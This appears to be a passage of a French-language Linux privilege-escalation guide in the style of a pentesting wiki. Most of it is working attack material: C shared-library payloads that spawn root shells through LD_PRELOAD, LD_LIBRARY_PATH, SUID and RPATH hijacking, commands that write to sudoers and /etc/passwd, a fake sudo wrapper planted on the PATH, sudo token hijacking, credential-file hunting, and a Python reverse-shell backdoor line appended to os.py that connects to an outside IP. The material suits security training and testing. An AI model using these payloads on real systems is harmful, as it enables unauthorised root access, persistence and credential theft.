La variable d'environnement LD_PRELOAD est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (libc.so). Ce processus est connu sous le nom de préchargement d'une bibliothèque.

Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec des exécutables suid/sgid, le système impose certaines conditions :

• Le chargeur ignore LD_PRELOAD pour les exécutables où l'identifiant utilisateur réel (ruid) ne correspond pas à l'identifiant utilisateur effectif (euid).
• Pour les exécutables avec suid/sgid, seules les bibliothèques dans des chemins standards qui sont également suid/sgid sont préchargées.

L'escalade de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec sudo et que la sortie de sudo -l inclut l'instruction env_keep+=LD_PRELOAD. Cette configuration permet à la variable d'environnement LD_PRELOAD de persister et d'être reconnue même lorsque des commandes sont exécutées avec sudo, ce qui peut potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés.

Defaults        env_keep += LD_PRELOAD

Enregistrez sous /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Ensuite, compilez-le en utilisant :

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Enfin, escalader les privilèges en exécutant

sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo

#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}

# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>

SUID Binary – .so injection

Lorsqu'on rencontre un binaire avec des permissions SUID qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers .so. Cela peut être vérifié en exécutant la commande suivante :

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

Par exemple, rencontrer une erreur comme "open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (Aucun fichier ou répertoire de ce type)" suggère un potentiel d'exploitation.

Pour exploiter cela, on procéderait en créant un fichier C, disons "/path/to/.config/libcalc.c", contenant le code suivant :

#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les permissions de fichier et en exécutant un shell avec des privilèges élevés.

Compilez le fichier C ci-dessus en un fichier d'objet partagé (.so) avec :

gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c

Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant un éventuel compromis du système.

Détournement d'objet partagé

# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so

# The SUID also loads libraries from a custom location where we can write
readelf -d payroll  | grep PATH
0x000000000000001d (RUNPATH)            Library runpath: [/development]

Maintenant que nous avons trouvé un binaire SUID chargeant une bibliothèque depuis un dossier où nous pouvons écrire, créons la bibliothèque dans ce dossier avec le nom nécessaire :

//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}

Si vous obtenez une erreur telle que

./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name

cela signifie que la bibliothèque que vous avez générée doit avoir une fonction appelée a_function_name.

GTFOBins

GTFOBins est une liste soigneusement sélectionnée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. GTFOArgs est la même chose mais pour les cas où vous pouvez uniquement injecter des arguments dans une commande.

Le projet collecte des fonctions légitimes de binaires Unix qui peuvent être abusées pour sortir de shells restreints, élever ou maintenir des privilèges élevés, transférer des fichiers, créer des shells bind et reverse, et faciliter d'autres tâches post-exploitation.

gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'

\n \n GTFOBins\n

\n \n GTFOArgs\n

FallOfSudo

Si vous pouvez accéder à sudo -l, vous pouvez utiliser l'outil FallOfSudo pour vérifier s'il trouve comment exploiter une règle sudo.

Réutilisation des jetons Sudo

Dans les cas où vous avez un accès sudo mais pas le mot de passe, vous pouvez élever les privilèges en attendant l'exécution d'une commande sudo puis en détournant le jeton de session.

Conditions pour élever les privilèges :

• Vous avez déjà un shell en tant qu'utilisateur "sampleuser"
• "sampleuser" a utilisé sudo pour exécuter quelque chose dans les 15 dernières minutes (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser sudo sans introduire de mot de passe)
• cat /proc/sys/kernel/yama/ptrace_scope est 0
• gdb est accessible (vous pouvez être en mesure de le télécharger)

(Vous pouvez temporairement activer ptrace_scope avec echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ou le modifier de manière permanente en modifiant /etc/sysctl.d/10-ptrace.conf et en définissant kernel.yama.ptrace_scope = 0)

Si toutes ces conditions sont remplies, vous pouvez élever les privilèges en utilisant : https://github.com/nongiach/sudo_inject

• Le premier exploit (exploit.sh) créera le binaire activate_sudo_token dans /tmp. Vous pouvez l'utiliser pour activer le jeton sudo dans votre session (vous n'obtiendrez pas automatiquement un shell root, faites sudo su) :

bash exploit.sh
/tmp/activate_sudo_token
sudo su

• Le deuxième exploit (exploit_v2.sh) créera un shell sh dans /tmp appartenant à root avec setuid

bash exploit_v2.sh
/tmp/sh -p

• Le troisième exploit (exploit_v3.sh) va créer un fichier sudoers qui rend les jetons sudo éternels et permet à tous les utilisateurs d'utiliser sudo

bash exploit_v3.sh
sudo su

/var/run/sudo/ts/<Username>

Si vous avez des permissions d'écriture dans le dossier ou sur l'un des fichiers créés à l'intérieur du dossier, vous pouvez utiliser le binaire write_sudo_token pour créer un token sudo pour un utilisateur et un PID.
Par exemple, si vous pouvez écraser le fichier /var/run/sudo/ts/sampleuser et que vous avez un shell en tant que cet utilisateur avec le PID 1234, vous pouvez obtenir des privilèges sudo sans avoir besoin de connaître le mot de passe en faisant :

./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser

/etc/sudoers, /etc/sudoers.d

Le fichier /etc/sudoers et les fichiers à l'intérieur de /etc/sudoers.d configurent qui peut utiliser sudo et comment. Ces fichiers par défaut ne peuvent être lus que par l'utilisateur root et le groupe root.
Si vous pouvez lire ce fichier, vous pourriez être en mesure d'obtenir des informations intéressantes, et si vous pouvez écrire dans n'importe quel fichier, vous serez en mesure d'escalader les privilèges.

ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/

Si vous pouvez écrire, vous pouvez abuser de cette permission.

echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README

Une autre façon d'abuser de ces permissions :

# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win

DOAS

Il existe des alternatives au binaire sudo telles que doas pour OpenBSD, n'oubliez pas de vérifier sa configuration à /etc/doas.conf

permit nopass demo as root cmd vim

Sudo Hijacking

Si vous savez qu'un utilisateur se connecte généralement à une machine et utilise sudo pour élever les privilèges et que vous avez obtenu un shell dans ce contexte utilisateur, vous pouvez créer un nouvel exécutable sudo qui exécutera votre code en tant que root puis la commande de l'utilisateur. Ensuite, modifiez le $PATH du contexte utilisateur (par exemple en ajoutant le nouveau chemin dans .bash_profile) afin que lorsque l'utilisateur exécute sudo, votre exécutable sudo soit exécuté.

Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, sudo-piggyback modifie ~/.bashrc, ~/.zshrc, ~/.bash_profile. Vous pouvez trouver un autre exemple dans bashdoor.py

Ou en exécutant quelque chose comme :

cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other

# From the victim
zsh
echo $PATH
sudo ls

Bibliothèque Partagée

ld.so

Le fichier /etc/ld.so.conf indique d'où proviennent les fichiers de configuration chargés. En général, ce fichier contient le chemin suivant : include /etc/ld.so.conf.d/*.conf

Cela signifie que les fichiers de configuration de /etc/ld.so.conf.d/*.conf seront lus. Ces fichiers de configuration pointent vers d'autres dossiers où les bibliothèques vont être recherchées. Par exemple, le contenu de /etc/ld.so.conf.d/libc.conf est /usr/local/lib. Cela signifie que le système recherchera des bibliothèques à l'intérieur de /usr/local/lib.

Si pour une raison quelconque un utilisateur a des permissions d'écriture sur l'un des chemins indiqués : /etc/ld.so.conf, /etc/ld.so.conf.d/, tout fichier à l'intérieur de /etc/ld.so.conf.d/ ou tout dossier dans le fichier de configuration à l'intérieur de /etc/ld.so.conf.d/*.conf, il pourrait être en mesure d'escalader les privilèges.
Jetez un œil à comment exploiter cette mauvaise configuration dans la page suivante :

ld.so privesc exploit example

RPATH

level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED)                     Shared library: [libc.so.6]
0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)

En copiant la lib dans /var/tmp/flag15/, elle sera utilisée par le programme à cet endroit comme spécifié dans la variable RPATH.

level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/

level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 =>  (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)

Ensuite, créez une bibliothèque malveillante dans /var/tmp avec gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6

#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}

Capacités

Les capacités Linux fournissent un sous-ensemble des privilèges root disponibles à un processus. Cela divise effectivement les privilèges root en unités plus petites et distinctes. Chacune de ces unités peut ensuite être accordée indépendamment aux processus. De cette manière, l'ensemble complet des privilèges est réduit, diminuant les risques d'exploitation.
Lisez la page suivante pour en savoir plus sur les capacités et comment les abuser :

Linux Capabilities

Permissions de répertoire

Dans un répertoire, le bit pour "exécuter" implique que l'utilisateur concerné peut "cd" dans le dossier.
Le bit "lire" implique que l'utilisateur peut lister les fichiers, et le bit "écrire" implique que l'utilisateur peut supprimer et créer de nouveaux fichiers.

ACLs

Les listes de contrôle d'accès (ACLs) représentent la couche secondaire de permissions discrétionnaires, capables de remplacer les permissions traditionnelles ugo/rwx. Ces permissions améliorent le contrôle sur l'accès aux fichiers ou aux répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou membres du groupe. Ce niveau de granularité assure une gestion d'accès plus précise. Des détails supplémentaires peuvent être trouvés ici.

Donner à l'utilisateur "kali" des permissions de lecture et d'écriture sur un fichier :

setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)

setfacl -b file.txt #Remove the ACL of the file

Obtenez des fichiers avec des ACL spécifiques du système :

getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null

Ouvrir des sessions shell

Dans les anciennes versions, vous pouvez dérober certaines sessions shell d'un autre utilisateur (root).
Dans les versions les plus récentes, vous ne pourrez vous connecter qu'aux sessions d'écran de votre propre utilisateur. Cependant, vous pourriez trouver des informations intéressantes à l'intérieur de la session.

Détournement de sessions d'écran

Lister les sessions d'écran

screen -ls
screen -ls <username>/ # Show another user' screen sessions

Attacher à une session

screen -dr <session> #The -d is to detach whoever is attached to it
screen -dr 3350.foo #In the example of the image
screen -x [user]/[session id]

détournement de sessions tmux

C'était un problème avec les anciennes versions de tmux. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié.

Lister les sessions tmux

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Attacher à une session

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the session from the other console and then access it yourself

ls -la /tmp/dev_sess #Check who can access it
rw-rw---- 1 root devs 0 Sep  1 06:27 /tmp/dev_sess #In this case root and devs can
# If you are root or devs you can access it
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Vérifiez la boîte de Saint-Valentin de HTB pour un exemple.

SSH

Debian OpenSSL PRNG prévisible - CVE-2008-0166

Tous les clés SSL et SSH générées sur des systèmes basés sur Debian (Ubuntu, Kubuntu, etc.) entre septembre 2006 et le 13 mai 2008 peuvent être affectées par ce bug.
Ce bug est causé lors de la création d'une nouvelle clé ssh dans ces OS, car seulement 32 768 variations étaient possibles. Cela signifie que toutes les possibilités peuvent être calculées et en ayant la clé publique ssh, vous pouvez rechercher la clé privée correspondante. Vous pouvez trouver les possibilités calculées ici : https://github.com/g0tmi1k/debian-ssh

Valeurs de configuration SSH intéressantes

• PasswordAuthentication : Spécifie si l'authentification par mot de passe est autorisée. La valeur par défaut est no.
• PubkeyAuthentication : Spécifie si l'authentification par clé publique est autorisée. La valeur par défaut est yes.
• PermitEmptyPasswords : Lorsque l'authentification par mot de passe est autorisée, cela spécifie si le serveur permet la connexion à des comptes avec des chaînes de mot de passe vides. La valeur par défaut est no.

PermitRootLogin

Spécifie si root peut se connecter en utilisant ssh, la valeur par défaut est no. Valeurs possibles :

• yes : root peut se connecter en utilisant un mot de passe et une clé privée
• without-password ou prohibit-password : root ne peut se connecter qu'avec une clé privée
• forced-commands-only : Root ne peut se connecter qu'en utilisant une clé privée et si les options de commandes sont spécifiées
• no : non

AuthorizedKeysFile

Spécifie les fichiers qui contiennent les clés publiques pouvant être utilisées pour l'authentification des utilisateurs. Il peut contenir des tokens comme %h, qui seront remplacés par le répertoire personnel. Vous pouvez indiquer des chemins absolus (commençant par /) ou des chemins relatifs depuis le répertoire personnel de l'utilisateur. Par exemple :

AuthorizedKeysFile    .ssh/authorized_keys access

Cette configuration indiquera que si vous essayez de vous connecter avec la clé privée de l'utilisateur "testusername", ssh va comparer la clé publique de votre clé avec celles situées dans /home/testusername/.ssh/authorized_keys et /home/testusername/access.

ForwardAgent/AllowAgentForwarding

Le transfert d'agent SSH vous permet d'utiliser vos clés SSH locales au lieu de laisser des clés (sans phrases de passe !) sur votre serveur. Ainsi, vous pourrez sauter via ssh vers un hôte et de là sauter vers un autre hôte en utilisant la clé située dans votre hôte initial.

Vous devez définir cette option dans $HOME/.ssh.config comme ceci :

Host example.com
ForwardAgent yes

Remarquez que si Host est *, chaque fois que l'utilisateur passe à une autre machine, cet hôte pourra accéder aux clés (ce qui pose un problème de sécurité).

Le fichier /etc/ssh_config peut remplacer ces options et autoriser ou interdire cette configuration.
Le fichier /etc/sshd_config peut autoriser ou interdire le transfert de l'agent ssh avec le mot-clé AllowAgentForwarding (la valeur par défaut est autorisée).

Si vous constatez que le Forward Agent est configuré dans un environnement, lisez la page suivante car vous pourriez être en mesure de l'exploiter pour élever vos privilèges :

SSH Forward Agent exploitation

Fichiers intéressants

Fichiers de profils

Le fichier /etc/profile et les fichiers sous /etc/profile.d/ sont des scripts qui sont exécutés lorsqu'un utilisateur lance un nouveau shell. Par conséquent, si vous pouvez écrire ou modifier l'un d'eux, vous pouvez élever vos privilèges.

ls -l /etc/profile /etc/profile.d/

Si un script de profil étrange est trouvé, vous devriez le vérifier pour des détails sensibles.

Fichiers Passwd/Shadow

Selon le système d'exploitation, les fichiers /etc/passwd et /etc/shadow peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Il est donc recommandé de les trouver tous et de vérifier si vous pouvez les lire pour voir s'il y a des hachages à l'intérieur des fichiers :

#Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null

Dans certaines occasions, vous pouvez trouver des hashes de mot de passe à l'intérieur du fichier /etc/passwd (ou équivalent).

grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null

Writable /etc/passwd

Tout d'abord, générez un mot de passe avec l'une des commandes suivantes.

openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'

Ensuite, ajoutez l'utilisateur hacker et ajoutez le mot de passe généré.

hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash

Par exemple : hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash

Vous pouvez maintenant utiliser la commande su avec hacker:hacker

Alternativement, vous pouvez utiliser les lignes suivantes pour ajouter un utilisateur fictif sans mot de passe.
AVERTISSEMENT : vous pourriez dégrader la sécurité actuelle de la machine.

echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
su - dummy

NOTE: Sur les plateformes BSD, /etc/passwd se trouve à /etc/pwd.db et /etc/master.passwd, de plus, /etc/shadow est renommé en /etc/spwd.db.

Vous devriez vérifier si vous pouvez écrire dans certains fichiers sensibles. Par exemple, pouvez-vous écrire dans un fichier de configuration de service ?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

Par exemple, si la machine exécute un serveur tomcat et que vous pouvez modifier le fichier de configuration du service Tomcat à l'intérieur de /etc/systemd/, alors vous pouvez modifier les lignes :

ExecStart=/path/to/backdoor
User=root
Group=root

Votre backdoor sera exécutée la prochaine fois que tomcat sera démarré.

Vérifier les Dossiers

Les dossiers suivants peuvent contenir des sauvegardes ou des informations intéressantes : /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports, /root (Probablement vous ne pourrez pas lire le dernier mais essayez)

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root

Fichiers de localisation étrange/propriétés

#root owned files in /home folders
find /home -user root 2>/dev/null
#Files owned by other users in folders owned by me
for d in `find /var /etc /home /root /tmp /usr /opt /boot /sys -type d -user $(whoami) 2>/dev/null`; do find $d ! -user `whoami` -exec ls -l {} \; 2>/dev/null; done
#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

Fichiers modifiés dans les dernières minutes

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Fichiers de base de données Sqlite

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

Fichiers cachés

find / -type f -iname ".*" -ls 2>/dev/null

Scripts/Binaires dans le PATH

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

Fichiers Web

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

Sauvegardes

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

Fichiers connus contenant des mots de passe

Lisez le code de linPEAS, il recherche plusieurs fichiers possibles qui pourraient contenir des mots de passe.
Un autre outil intéressant que vous pouvez utiliser à cet effet est : LaZagne qui est une application open source utilisée pour récupérer de nombreux mots de passe stockés sur un ordinateur local pour Windows, Linux et Mac.

Journaux

Si vous pouvez lire les journaux, vous pourriez être en mesure de trouver des informations intéressantes/confidentielles à l'intérieur. Plus le journal est étrange, plus il sera intéressant (probablement).
De plus, certains journaux d'audit mal configurés (backdoorés ?) peuvent vous permettre de enregistrer des mots de passe à l'intérieur des journaux d'audit comme expliqué dans ce post : https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/.

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

Pour lire les journaux, le groupe adm sera vraiment utile.

Fichiers Shell

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

Generic Creds Search/Regex

Vous devriez également vérifier les fichiers contenant le mot "password" dans son nom ou à l'intérieur du contenu, et également vérifier les IP et les emails dans les logs, ou les regexps de hachages.
Je ne vais pas lister ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez consulter les dernières vérifications que linpeas effectue.

Writable files

Python library hijacking

Si vous savez d'où un script python va être exécuté et que vous pouvez écrire dans ce dossier ou que vous pouvez modifier les bibliothèques python, vous pouvez modifier la bibliothèque OS et y ajouter une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).

Pour ajouter une porte dérobée à la bibliothèque, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez IP et PORT) :

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Exploitation de Logrotate

Une vulnérabilité dans logrotate permet aux utilisateurs ayant des permissions d'écriture sur un fichier journal ou ses répertoires parents de potentiellement obtenir des privilèges élevés. Cela est dû au fait que logrotate, souvent exécuté en tant que root, peut être manipulé pour exécuter des fichiers arbitraires, en particulier dans des répertoires comme /etc/bash_completion.d/. Il est important de vérifier les permissions non seulement dans /var/log mais aussi dans tout répertoire où la rotation des journaux est appliquée.

Des informations plus détaillées sur la vulnérabilité peuvent être trouvées sur cette page : https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

Vous pouvez exploiter cette vulnérabilité avec logrotten.

Cette vulnérabilité est très similaire à CVE-2016-1247 (journaux nginx), donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez élever vos privilèges en substituant les journaux par des liens symboliques.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Référence de vulnérabilité : https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

Si, pour une raison quelconque, un utilisateur est capable d'écrire un script ifcf-<whatever> dans /etc/sysconfig/network-scripts ou peut ajuster un existant, alors votre système est compromis.

Les scripts réseau, ifcg-eth0 par exemple, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont ~sourced~ sur Linux par Network Manager (dispatcher.d).

Dans mon cas, le NAME= attribué dans ces scripts réseau n'est pas géré correctement. Si vous avez un espace blanc dans le nom, le système essaie d'exécuter la partie après l'espace blanc. Cela signifie que tout ce qui suit le premier espace blanc est exécuté en tant que root.

Par exemple : /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

init, init.d, systemd et rc.d

Le répertoire /etc/init.d est le foyer des scripts pour System V init (SysVinit), le système de gestion de services Linux classique. Il comprend des scripts pour start, stop, restart, et parfois reload des services. Ceux-ci peuvent être exécutés directement ou via des liens symboliques trouvés dans /etc/rc?.d/. Un chemin alternatif dans les systèmes Redhat est /etc/rc.d/init.d.

D'autre part, /etc/init est associé à Upstart, un système de gestion de services plus récent introduit par Ubuntu, utilisant des fichiers de configuration pour les tâches de gestion des services. Malgré la transition vers Upstart, les scripts SysVinit sont toujours utilisés aux côtés des configurations Upstart en raison d'une couche de compatibilité dans Upstart.

systemd émerge comme un gestionnaire d'initialisation et de services moderne, offrant des fonctionnalités avancées telles que le démarrage de démons à la demande, la gestion de l'automontage et des instantanés de l'état du système. Il organise les fichiers dans /usr/lib/systemd/ pour les paquets de distribution et /etc/systemd/system/ pour les modifications administratives, rationalisant le processus d'administration système.

Autres astuces

Escalade de privilèges NFS

NFS no_root_squash/no_all_squash misconfiguration PE

Évasion des Shells restreints

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Protections de sécurité du noyau

• https://github.com/a13xp0p0v/kconfig-hardened-check
• https://github.com/a13xp0p0v/linux-kernel-defence-map

Plus d'aide

Static impacket binaries

Outils Privesc Linux/Unix

Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Linux : LinPEAS

LinEnum : https://github.com/rebootuser/LinEnum(-t option)
Enumy : https://github.com/luke-goddard/enumy
Unix Privesc Check : http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker : www.securitysift.com/download/linuxprivchecker.py
BeeRoot : https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop : Énumérer les vulnérabilités du noyau dans linux et MAC https://github.com/spencerdodd/kernelpop
Mestaploit : multi/recon/local_exploit_suggester
Linux Exploit Suggester : https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (accès physique) : https://github.com/GDSSecurity/EvilAbigail
Recopilation de plus de scripts : https://github.com/1N3/PrivEsc

Références

• https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
• https://payatu.com/guide-linux-privilege-escalation/
• https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744
• http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html
• https://touhidshaikh.com/blog/?p=827
• https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf
• https://github.com/frizb/Linux-Privilege-Escalation
• https://github.com/lucyoa/kernel-exploits
• https://github.com/rtcrowley/linux-private-i
• https://www.linux.com/news/what-socket/
• https://muzec0318.github.io/posts/PG/peppo.html
• https://www.linuxjournal.com/article/7744
• https://blog.certcube.com/suid-executables-linux-privilege-escalation/
• https://juggernaut-sec.com/sudo-part-2-lpe
• https://linuxconfig.org/how-to-manage-acls-on-linux
• https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
• https://www.linode.com/docs/guides/what-is-systemd/